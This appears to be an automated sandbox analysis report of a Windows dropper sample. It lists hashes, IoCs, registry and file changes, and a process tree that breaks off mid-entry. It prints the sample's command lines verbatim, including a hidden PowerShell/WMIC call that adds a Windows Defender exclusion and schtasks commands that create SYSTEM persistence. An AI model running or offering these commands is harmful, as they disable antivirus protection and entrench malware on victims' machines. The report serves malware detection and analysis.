Analysis
-
max time kernel
92s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
06/04/2024, 05:01
Static task
static1
Behavioral task
behavioral1
Sample
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
Resource
win10v2004-20231215-en
General
-
Target
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
-
Size
6.9MB
-
MD5
1d2f8f1f8f977ac2ce5c7d69142d92c9
-
SHA1
5a07aa99a86a66239204bd684894a080bf5b87fa
-
SHA256
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035
-
SHA512
2089a48f6798257358e43e0e0cda66934405ba212da14c311c4deb52b382db1578d28b8ccc8f4e347f4f8b120081e05b83c3f4d9df0a3df1b3d1228ff34ed4e0
-
SSDEEP
196608:91OShrfn90vjbQL0MZMFoENqo0C029v7CGQp0wooD/:3OWrojkLwFo51ETCGa0woa/
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 77 1032 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation dwDhHVv.exe -
Executes dropped EXE 3 IoCs
pid Process 4076 Install.exe 3092 zZhIfWQ.exe 3148 dwDhHVv.exe -
Loads dropped DLL 1 IoCs
pid Process 1032 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json dwDhHVv.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json dwDhHVv.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini dwDhHVv.exe -
Drops file in System32 directory 29 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 dwDhHVv.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol dwDhHVv.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA dwDhHVv.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft dwDhHVv.exe File created C:\Windows\system32\GroupPolicy\gpt.ini zZhIfWQ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA dwDhHVv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 dwDhHVv.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol zZhIfWQ.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak dwDhHVv.exe File created C:\Program Files (x86)\epUZFeichsCPC\MaoGuRf.dll dwDhHVv.exe File created C:\Program Files (x86)\epUZFeichsCPC\jafxhIg.xml dwDhHVv.exe File created C:\Program Files (x86)\VDiAXGzPiWUn\ArsUktk.dll dwDhHVv.exe File created C:\Program Files (x86)\qBvbbKpBU\CoPIfj.dll dwDhHVv.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\eCqoOPyISfQjJ.dll dwDhHVv.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\fsBGcRk.dll dwDhHVv.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi dwDhHVv.exe File created C:\Program Files (x86)\qBvbbKpBU\tdfVGAH.xml dwDhHVv.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\DXIODRJ.xml dwDhHVv.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi dwDhHVv.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja dwDhHVv.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\aJtOsWq.xml dwDhHVv.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak dwDhHVv.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\bpJjqbWMDOjxkYrvBb.job schtasks.exe File created C:\Windows\Tasks\MWViHNuTpmRlpInKg.job schtasks.exe File created C:\Windows\Tasks\wbeMFPOaxEodGIM.job schtasks.exe File created C:\Windows\Tasks\BinjFlxHFUMMGNOij.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2204 schtasks.exe 2660 schtasks.exe 4960 schtasks.exe 964 schtasks.exe 2512 schtasks.exe 828 schtasks.exe 2504 schtasks.exe 2828 schtasks.exe 4360 schtasks.exe 2216 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{14f6f45c-0000-0000-0000-d01200000000}\MaxCapacity = "14116" dwDhHVv.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" dwDhHVv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix dwDhHVv.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" dwDhHVv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume dwDhHVv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket dwDhHVv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{14f6f45c-0000-0000-0000-d01200000000} dwDhHVv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3584 powershell.exe 3584 powershell.exe 2120 powershell.exe 2120 powershell.exe 920 powershell.exe 920 powershell.exe 2828 powershell.EXE 2828 powershell.EXE 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 2456 powershell.exe 2456 powershell.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe 3148 dwDhHVv.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3584 powershell.exe Token: SeIncreaseQuotaPrivilege 4916 WMIC.exe Token: SeSecurityPrivilege 4916 WMIC.exe Token: SeTakeOwnershipPrivilege 4916 WMIC.exe Token: SeLoadDriverPrivilege 4916 WMIC.exe Token: SeSystemProfilePrivilege 4916 WMIC.exe Token: SeSystemtimePrivilege 4916 WMIC.exe Token: SeProfSingleProcessPrivilege 4916 WMIC.exe Token: SeIncBasePriorityPrivilege 4916 WMIC.exe Token: SeCreatePagefilePrivilege 4916 WMIC.exe Token: SeBackupPrivilege 4916 WMIC.exe Token: SeRestorePrivilege 4916 WMIC.exe Token: SeShutdownPrivilege 4916 WMIC.exe Token: SeDebugPrivilege 4916 WMIC.exe Token: SeSystemEnvironmentPrivilege 4916 WMIC.exe Token: SeRemoteShutdownPrivilege 4916 WMIC.exe Token: SeUndockPrivilege 4916 WMIC.exe Token: SeManageVolumePrivilege 4916 WMIC.exe Token: 33 4916 WMIC.exe Token: 34 4916 WMIC.exe Token: 35 4916 WMIC.exe Token: 36 4916 WMIC.exe Token: SeIncreaseQuotaPrivilege 4916 WMIC.exe Token: SeSecurityPrivilege 4916 WMIC.exe Token: SeTakeOwnershipPrivilege 4916 WMIC.exe Token: SeLoadDriverPrivilege 4916 WMIC.exe Token: SeSystemProfilePrivilege 4916 WMIC.exe Token: SeSystemtimePrivilege 4916 WMIC.exe Token: SeProfSingleProcessPrivilege 4916 WMIC.exe Token: SeIncBasePriorityPrivilege 4916 WMIC.exe Token: SeCreatePagefilePrivilege 4916 WMIC.exe Token: SeBackupPrivilege 4916 WMIC.exe Token: SeRestorePrivilege 4916 WMIC.exe Token: SeShutdownPrivilege 4916 WMIC.exe Token: SeDebugPrivilege 4916 WMIC.exe Token: SeSystemEnvironmentPrivilege 4916 WMIC.exe Token: SeRemoteShutdownPrivilege 4916 WMIC.exe Token: SeUndockPrivilege 4916 WMIC.exe Token: SeManageVolumePrivilege 4916 WMIC.exe Token: 33 4916 WMIC.exe Token: 34 4916 WMIC.exe Token: 35 4916 WMIC.exe Token: 36 4916 WMIC.exe Token: SeDebugPrivilege 2120 powershell.exe Token: SeDebugPrivilege 920 powershell.exe Token: SeDebugPrivilege 2828 powershell.EXE Token: SeDebugPrivilege 2456 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2872 WMIC.exe Token: SeIncreaseQuotaPrivilege 2872 WMIC.exe Token: SeSecurityPrivilege 2872 WMIC.exe Token: SeTakeOwnershipPrivilege 2872 WMIC.exe Token: SeLoadDriverPrivilege 2872 WMIC.exe Token: SeSystemtimePrivilege 2872 WMIC.exe Token: SeBackupPrivilege 2872 WMIC.exe Token: SeRestorePrivilege 2872 WMIC.exe Token: SeShutdownPrivilege 2872 WMIC.exe Token: SeSystemEnvironmentPrivilege 2872 WMIC.exe Token: SeUndockPrivilege 2872 WMIC.exe Token: SeManageVolumePrivilege 2872 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2872 WMIC.exe Token: SeIncreaseQuotaPrivilege 2872 WMIC.exe Token: SeSecurityPrivilege 2872 WMIC.exe Token: SeTakeOwnershipPrivilege 2872 WMIC.exe Token: SeLoadDriverPrivilege 2872 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4956 wrote to memory of 4076 4956 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 84 PID 4956 wrote to memory of 4076 4956 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 84 PID 4956 wrote to memory of 4076 4956 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 84 PID 4076 wrote to memory of 4824 4076 Install.exe 86 PID 4076 wrote to memory of 4824 4076 Install.exe 86 PID 4076 wrote to memory of 4824 4076 Install.exe 86 PID 4824 wrote to memory of 4628 4824 forfiles.exe 88 PID 4824 wrote to memory of 4628 4824 forfiles.exe 88 PID 4824 wrote to memory of 4628 4824 forfiles.exe 88 PID 4628 wrote to memory of 3584 4628 cmd.exe 89 PID 4628 wrote to memory of 3584 4628 cmd.exe 89 PID 4628 wrote to memory of 3584 4628 cmd.exe 89 PID 3584 wrote to memory of 4916 3584 powershell.exe 90 PID 3584 wrote to memory of 4916 3584 powershell.exe 90 PID 3584 wrote to memory of 4916 3584 powershell.exe 90 PID 4076 wrote to memory of 964 4076 Install.exe 92 PID 4076 wrote to memory of 964 4076 Install.exe 92 PID 4076 wrote to memory of 964 4076 Install.exe 92 PID 3092 wrote to memory of 2120 3092 zZhIfWQ.exe 102 PID 3092 wrote to memory of 2120 3092 zZhIfWQ.exe 102 PID 3092 wrote to memory of 2120 3092 zZhIfWQ.exe 102 PID 2120 wrote to memory of 4720 2120 powershell.exe 104 PID 2120 wrote to memory of 4720 2120 powershell.exe 104 PID 2120 wrote to memory of 4720 2120 powershell.exe 104 PID 4720 wrote to memory of 1996 4720 cmd.exe 105 PID 4720 wrote to memory of 1996 4720 cmd.exe 105 PID 4720 wrote to memory of 1996 4720 cmd.exe 105 PID 2120 wrote to memory of 5084 2120 powershell.exe 106 PID 2120 wrote to memory of 5084 2120 powershell.exe 106 PID 2120 wrote to memory of 5084 2120 powershell.exe 106 PID 2120 wrote to memory of 4348 2120 powershell.exe 107 PID 2120 wrote to memory of 4348 2120 powershell.exe 107 PID 2120 wrote to memory of 4348 2120 powershell.exe 107 PID 2120 wrote to memory of 3656 2120 powershell.exe 108 PID 2120 wrote to memory of 3656 2120 powershell.exe 108 PID 2120 wrote to memory of 3656 2120 powershell.exe 108 PID 2120 wrote to memory of 4484 2120 powershell.exe 109 PID 2120 wrote to memory of 4484 2120 powershell.exe 109 PID 2120 wrote to memory of 4484 2120 powershell.exe 109 PID 2120 wrote to memory of 2064 2120 powershell.exe 110 PID 2120 wrote to memory of 2064 2120 powershell.exe 110 PID 2120 wrote to memory of 2064 2120 powershell.exe 110 PID 2120 wrote to memory of 1924 2120 powershell.exe 111 PID 2120 wrote to memory of 1924 2120 powershell.exe 111 PID 2120 wrote to memory of 1924 2120 powershell.exe 111 PID 2120 wrote to memory of 2912 2120 powershell.exe 112 PID 2120 wrote to memory of 2912 2120 powershell.exe 112 PID 2120 wrote to memory of 2912 2120 powershell.exe 112 PID 2120 wrote to memory of 3300 2120 powershell.exe 113 PID 2120 wrote to memory of 3300 2120 powershell.exe 113 PID 2120 wrote to memory of 3300 2120 powershell.exe 113 PID 2120 wrote to memory of 1604 2120 powershell.exe 114 PID 2120 wrote to memory of 1604 2120 powershell.exe 114 PID 2120 wrote to memory of 1604 2120 powershell.exe 114 PID 2120 wrote to memory of 4328 2120 powershell.exe 115 PID 2120 wrote to memory of 4328 2120 powershell.exe 115 PID 2120 wrote to memory of 4328 2120 powershell.exe 115 PID 2120 wrote to memory of 1044 2120 powershell.exe 116 PID 2120 wrote to memory of 1044 2120 powershell.exe 116 PID 2120 wrote to memory of 1044 2120 powershell.exe 116 PID 2120 wrote to memory of 2396 2120 powershell.exe 117 PID 2120 wrote to memory of 2396 2120 powershell.exe 117 PID 2120 wrote to memory of 2396 2120 powershell.exe 117 PID 2120 wrote to memory of 4940 2120 powershell.exe 118
Processes
-
C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Users\Admin\AppData\Local\Temp\7zS4BED.tmp\Install.exe.\Install.exe /AdidysikD "385118" /S2⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4916
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exe\" Oz /exsite_idTMA 385118 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exeC:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\zZhIfWQ.exe Oz /exsite_idTMA 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3092 -
